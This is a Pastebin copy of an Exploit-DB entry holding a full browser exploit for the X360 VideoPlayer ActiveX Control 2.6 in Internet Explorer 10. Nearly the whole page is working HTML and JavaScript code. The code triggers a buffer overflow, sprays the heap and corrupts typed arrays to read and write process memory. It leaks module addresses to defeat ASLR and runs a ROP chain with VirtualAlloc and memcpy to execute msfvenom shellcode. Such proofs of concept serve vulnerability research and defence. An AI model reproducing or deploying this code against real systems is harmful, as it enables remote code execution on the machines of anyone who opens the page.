Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- X360 VideoPlayer ActiveX Control 2.6 - Full ASLR & DEP Bypass
- EDB-ID: 35948 CVE: N/A OSVDB-ID: N/A
- Author: Rh0 Published: 2015-01-30 Verified: Not Verified
- Exploit Code: Download Vulnerable App: Download
- Rating
- ===============================================
- <!DOCTYPE HTML>
- <!--
- ###############################################################################
- *
- * Exploit Title: X360 VideoPlayer ActiveX Control RCE Full ASLR & DEP Bypass
- * Author: Rh0
- * Date: Jan 30 2015
- * Affected Software: X360 VideoPlayer ActiveX Control 2.6 (VideoPlayer.ocx)
- * Vulnerability: Buffer Overflow in Data Section
- * Tested on: Internet Explorer 10 32-bit (Windows 7 64-bit in VirtualBox)
- * Software Links:
- http://www.x360soft.com/demo/videoplayersetup.exe
- http://download.cnet.com/X360-Video-Player-ActiveX-Control/3000-2170_4-10581185.html
- * Detailed writeup: https://rh0dev.github.io/blog/2015/fun-with-info-leaks/
- *
- ###############################################################################
- * Information about VideoPlayer.ocx *
- ###################################
- md5sum: f9f2d32ae0e4d7b5c19692d0753451fb
- Class VideoPlayer
- GUID: {4B3476C6-185A-4D19-BB09-718B565FA67B}
- Number of Interfaces: 1
- Default Interface: _DVideoPlayer
- RegKey Safe for Script: True
- RegkeySafe for Init: True
- KillBitSet: False
- * NOTES *
- #########
- *) When passing an overlong string to the ActiveX object's "SetText" method, a
- buffer overflow in the data section occurs. It allows overwriting a subsequent
- pointer that can be used in a controlled memcpy when dispatching the object's
- "SetFontName" method. With this arbitrary write, array structures can be
- manipulated to gain access to complete process memory. Equipped with this
- capability, necessary information can be leaked and manipulated to execute
- arbitrary code remotely.
- *) Comment in the alert messages to see some leaks ;)
- *) This is PoC Code: If it does not work for you, clear IE's history and try
- again. Tested against mshtml.dll and jscript9.dll version 10.0.9200.17183
- *) Inspired by:
- "http://blog.exodusintel.com/2013/12/09/a-browser-is-only-as-strong-as-its-weakest-byte-part-2/"
- "http://ifsec.blogspot.de/2013/11/exploiting-internet-explorer-11-64-bit.html"
- "https://cansecwest.com/slides/2014/The Art of Leaks - read version - Yoyo.pdf"
- "https://cansecwest.com/slides/2014/ROPs_are_for_the_99_CanSecWest_2014.pdf"
- "https://github.com/exp-sky/HitCon-2014-IE-11-0day-Windows-8.1-Exploit/blob/master/IE 11 0day & Windows 8.1 Exploit.pdf"
- -->
- <html>
- <body>
- <button onclick=run()>runme</button>
- <script>
- function run(){
- /* VideoPlayer.ocx image has the rebase flag set =>
- It's mapped to another base per process run */
- /* create its vulnerable ActiveX object (as HTMLObjectElement) */
- var obj = document.createElement("object");
- obj.setAttribute("classid", "clsid:4B3476C6-185A-4D19-BB09-718B565FA67B");
- /* amount of arrays to create on the heap */
- nrArrays = 0x1000
- /* size of data in one array block: 0xefe0 bytes =>
- subract array header (0x20) and space for typed array headers (0x1000)
- from 0x10000 */
- arrSize = (0x10000-0x20-0x1000)/4
- /* heap array container will hold our heap sprayed data */
- arr = new Array(nrArrays)
- /* use one buffer for all typed arrays */
- intArrBuf = new ArrayBuffer(4)
- /* spray the heap with array data blocks and subsequent typed array headers
- of type Uint32Array */
- k = 0
- while(k < nrArrays){
- /* create "jscript9!Js::JavascriptArray" with blocksize 0xf000 (data
- aligned at 0xXXXX0020) */
- arr[k] = new Array(arrSize);
- /* fill remaining page (0x1000) after array data with headers of
- "jscript9!Js::TypedArray<unsigned int>" (0x55 * 0x30 = 0xff0) as a
- typed array header has the size of 0x30. 0x10 bytes are left empty */
- for(var i= 0; i<0x55; i++){
- /* headers become aligned @ 0xXXXXf000, 0xXXXXf030, 0xXXXXf060,.. */
- arr[k][i] = new Uint32Array(intArrBuf, 0, 1);
- }
- /* tag the array's last element */
- arr[k][arrSize - 1] = 0x12121212
- k += 1;
- }
- /* perform controlled memwrite to 0x1111f010: typed array header is at
- 0x1111f000 to 0x1111f030 => overwrite array data header @ 11111f010 with
- 0x00000001 0x00000004 0x00000040 0x1111f030 0x00
- The first 3 dwords are sideeffects due to the code we abuse for the
- controlled memcpy */
- addr = 0x1111f010 // WHERE TO WRITE
- /* prepare buffer with address we want to write to */
- ptrBuf = ""
- /* fill buffer: length = relative pointer address - buffer start + pointer
- offset */
- while (ptrBuf.length < (0x92068 - 0x916a8 + 0xC)){ptrBuf += "A"}
- ptrBuf += dword2str(addr)
- /* trigger: overflow buffer and overwrite the pointer value after buffer */
- obj.SetText(ptrBuf,0,0)
- //alert("buffer overflown => check PTR @ videop_1+92068: dc videop_1+92068")
- /* use overwritten pointer after buffer with method "SetFontName" to conduct
- memory write. We overwrite a typed array's header length to 0x40 and let
- its buffer point to the next typed array header at 0x1111f030 (see above)
- */
- obj.SetFontName(dword2str(addr+0x20)) // WHAT TO WRITE
- /* find the corrupted Uint32Array (typed array) */
- k = 0
- arrCorrupt = 0
- while(k < 0x1000-1){
- for(var i = 0; i < 0x55-1; i++){
- if(arr[k][i][0] != 0){
- // address of jscript9!Js::TypedArray<unsigned int>::`vftable'
- //alert("0x" + arr[k][i][0].toString(16))
- arrCorrupt = 1
- break
- }
- }
- if (arrCorrupt == 1) break
- k++
- }
- if (!arrCorrupt){
- alert("cannot find corrupted Uint32Array")
- return -1
- }
- /* modify subsequent Uint32Array to be able to RW all process memory */
- arr[k][i][6] = 0x7fffffff // next Uint32Array length
- arr[k][i][7] = 0 // set buffer of next Uint32Array to start of process mem
- /* our memory READWRITE interface :) */
- mem = arr[k][i+1]
- //alert(mem.length.toString(16))
- if (mem.length != 0x7fffffff){
- alert("Cannot change Uint32Array length")
- return -2
- }
- /* now we could even repair the change we did with memcpy ... */
- /* leak several pointers and calculate VideoPlayer.ocx base */
- arr[k+1][0] = obj // set HTMLObjectElement as first element
- //alert(mem[0x11120020/4].toString(16))
- arrayElemPtr = mem[(addr + 0x1010)/4] // leak array elem. @ 0x11120020 (obj)
- objPtr = mem[arrayElemPtr/4 + 6] // deref array elem. + 0x18
- heapPtrVideoplayer = mem[objPtr/4 + 25] // deref HTMLObjectElement + 0x64
- /* deref heap pointer containing VideoPlayer.ocx pointer */
- videoplayerPtr = mem[heapPtrVideoplayer/4]
- base = videoplayerPtr - 0x6b3b0 // calculate base
- /* check if we have the image of VideoPlayer.ocx
- check for MZ9000 header and "Vide" string at offset 0x6a000 */
- if (mem[base/4] != 0x905a4d ||
- mem[(base+0x6a000)/4] != 0x65646956){
- alert("Cannot find VideoPlayer.ocx base or its version is wrong")
- return -3
- }
- //alert(base.toString(16))
- /* get VirtualAlloc from imports of VideoPlayer.ocx */
- virtualAlloc = mem[(base + 0x69174)/4]
- /* memcpy is available inside VideoPlayer.ocx */
- memcpy = base + 0x15070
- //alert("0x" + virtualAlloc.toString(16) + " " + 0x" + memcpy.toString(16))
- /* create shellcode (./msfvenom -p windows/exec cmd=calc) */
- sc = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b"+
- "\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7"+
- "\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20"+
- "\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b"+
- "\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0"+
- "\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b"+
- "\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01"+
- "\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2"+
- "\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c"+
- "\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b"+
- "\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86"+
- "\x5d\x6a\x01\x8d\x85\xb9\x00\x00\x00\x50\x68\x31\x8b"+
- "\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd"+
- "\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"+
- "\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5\x63\x61\x6c\x63"+
- "\x00"
- scBuf = new Uint8Array(sc.length)
- for (n=0; n<sc.length; n++){
- scBuf[n] = sc.charCodeAt(n)
- }
- /* leak shellcode address */
- arr[k+1][0] = scBuf
- /* therefore, leak array element at 0x11120020 (typed array header of
- Uint8Array containing shellcode) ... */
- elemPtr = mem[(addr + 0x1010)/4]
- /* ...and deref array element + 0x1c (=> leak shellcode's buffer address) */
- scAddr = mem[(elemPtr/4) + 7]
- //alert(scAddr.toString(16))
- /* create and leak rop buffer */
- rop = new Uint32Array(0x1000)
- arr[k+1][0] = rop
- /* leak array element at 0x11120020 (typed array header) */
- elemPtr = mem[(addr + 0x1010)/4]
- /* deref array element + 0x1c (leak rop's buffer address) */
- pAddr = mem[(elemPtr/4) + 7] // payload address
- /* ROP chain (rets in comments are omitted) */
- /* we perform:
- (void*) EAX = VirtualAlloc(0, dwSize, MEM_COMMIT, PAGE_RWX)
- memcpy(EAX, shellcode, shellcodeLen)
- (void(*)())EAX() */
- offs = 0x30/4 // offset to chain after CALL [EAX+0x30]
- rop[0] = base + 0x1ff6 // ADD ESP, 0x30;
- rop[offs + 0x0] = base + 0x1ea1e // XCHG EAX, ESP; <-- first gadget called
- rop[offs + 0x1] = virtualAlloc // allocate RWX mem (address avail. in EAX)
- rop[offs + 0x2] = base + 0x10e9 // POP ECX; => pop the value at offs + 0x7
- rop[offs + 0x3] = 0 // lpAddress
- rop[offs + 0x4] = 0x1000 // dwSize (0x1000)
- rop[offs + 0x5] = 0x1000 // flAllocationType (MEM_COMMIT)
- rop[offs + 0x6] = 0x40 // flProtect (PAGE_EXECUTE_READWRITE)
- rop[offs + 0x7] = pAddr + (offs+0xe)*4 // points to memcpy's dst param (*2)
- rop[offs + 0x8] = base + 0x1c743 // MOV [ECX], EAX; => set dst to RWX mem
- rop[offs + 0x9] = base + 0x10e9 // POP ECX;
- rop[offs + 0xa] = pAddr + (offs+0xd)*4 // points to (*1) in chain
- rop[offs + 0xb] = base + 0x1c743 // MOV [ECX], EAX; => set return to RWX mem
- rop[offs + 0xc] = memcpy
- rop[offs + 0xd] = 0xffffffff // (*1): ret addr to RWX mem filled at runtime
- rop[offs + 0xe] = 0xffffffff // (*2): dst for memcpy filled at runtime
- rop[offs + 0xf] = scAddr // shellcode src addr to copy to RWX mem (param2)
- rop[offs + 0x10] = sc.length // length of shellcode (param3)
- /* manipulate object data to gain EIP control with "Play" method */
- videopObj = mem[objPtr/4 + 26]
- mem[(videopObj-0x10)/4] = pAddr // pAddr will be used in EAX in below call
- /* eip control @ VideoPlayer.ocx + 0x6643B: CALL DWORD PTR [EAX+0x30] */
- obj.Play()
- }
- /* dword to little endian string */
- function dword2str(dword){
- str = ""
- for (n=0; n<4; n++){
- str += String.fromCharCode((dword >> 8*n) & 0xff)
- }
- return str
- }
- //setTimeout(run(), 3000);
- </script>
- </body>
- </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement